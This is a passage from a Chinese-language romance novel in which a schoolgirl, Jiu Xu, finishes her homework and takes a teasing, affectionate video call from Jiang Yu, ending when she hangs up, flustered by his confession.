顾愿还想再说,她丈夫林延说:“见到了好朋友,可不就是这样。”
顾念听过这些,像
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被戳破心事,感觉更尴尬了。
男性最懂男性。
女性最懂女性。
怀里的小顾临也劝,伸手拽母亲的衣服。
顾愿低头看他,柔声说:“临儿乖啊。”
*
回家四点多了。
久许回了卧室,写剩下的作业。
她上午写不少,很快就写完了,便拿手机拍照,上传提交作业。
久许浏览了下群消息,没什么需要注意的事。
她切换新界面,给江遇发消息。
【今天怎么样啊。】
江遇显示在线状态,却迟迟没有回消息。
久许等着回复,心情莫名差了。
视频电话打来。
久许怔愣起来。
她刚埋怨,他就打来。
她很快便接通。
久许有些慌乱,连忙调小声音,轻声问:“怎么给我打电话了?”
这可是在家里,女孩子的卧室,男孩子的声音。
爸爸妈妈就在外边。
万一被逮住怎么办?
江遇认真解释:“想看你,就打了。”
话本里都说了,男人最能演戏,现在对比看来,这话果真不假。
久许淡淡笑了,不解说:“那是多想看啊。”
“久久想我怎么说。”
“你就是明知故问,揣着明白装糊涂,怎么还能这样呢?”
“是我的错,久久不气。”
“你这是说什么话,全往自己身上揽,惯坏我了怎么办?”
小姑娘是真生气,眼眶明显红红的,语气也差了起来。
“让你委屈,我舍不得。”
江遇开始心疼,顺着她的想法,温声说:“今天可漂亮呢,哭了就不好了。”
“你就是喜欢我的漂亮吗?”
久许片刻愣神,开始胡思乱想,淡淡说:“漂亮能有多久?色衰便会爱驰,爱驰自然恩绝。”
他的一见钟情,是见色起意吗?
“我不好色。”江遇语出惊人,耐心说:“好你。”
久许没有说话,江遇有些担心,以为她被吓到,心里蓦然一滞,想说许多的话,却都止于口中。
两人隔着屏幕,七八毫米厚度,却能影响情绪。
他温声说:“久久,别怕。”
久许看着江遇,像是与他对视。
她生出种错觉——
他似乎在害怕。
但是话说回来,现在这种情况,不该是她怕吗?
“谁会怕呢?”久许收敛情绪,笑着说:“不怕。”
“久久,信我。”
江遇看着久许,坚定说:“我会拿命对你好的。”
久许看他模样,不禁摇了摇头,认真说:“我又不是妲己,谁要你的命啊,又在胡说八道。而且命这东西,在某些情况下,是最没人要的。”
“久许,真想当人贩子。”
久许听了疑惑。
江遇却继续说:“偷偷拐你回家,把你变成我的,我谁都不给看。”
久许似乎理解,坦然说:“江遇哥哥,你的想法不对,好好读读刑法。”
江遇顺着这话,认真说:“你说的我都听。”
久许认真看他,鲜少这么乖顺,心里有些困惑。
她总是很拧巴,碰到不开心的,就陷入沉默了,谁也不想搭理,只想自己呆着,像块木头一样。
“我如果不说呢?你要吵架是吗?”
“不会跟你吵架,而且没有如果,我们没有隔阂。”
我们没有隔阂。
等你读懂我的隐喻。
久许想到这里,不解说:“那我要是哭呢?”
“谁敢让你哭啊。”
江遇说完这话,打量久许神情,补充说:“眼泪会变珍珠,我不要当富豪。”
久许有些疑惑,平静说:“那你想当什么?”
她就听到他说——
“我想当你男人,你肯让我当吗。”
久许听到这话,脸悄然就红了,不敢再看江遇,连忙挂了电话。
这都说什么啊?
还是小孩子呢。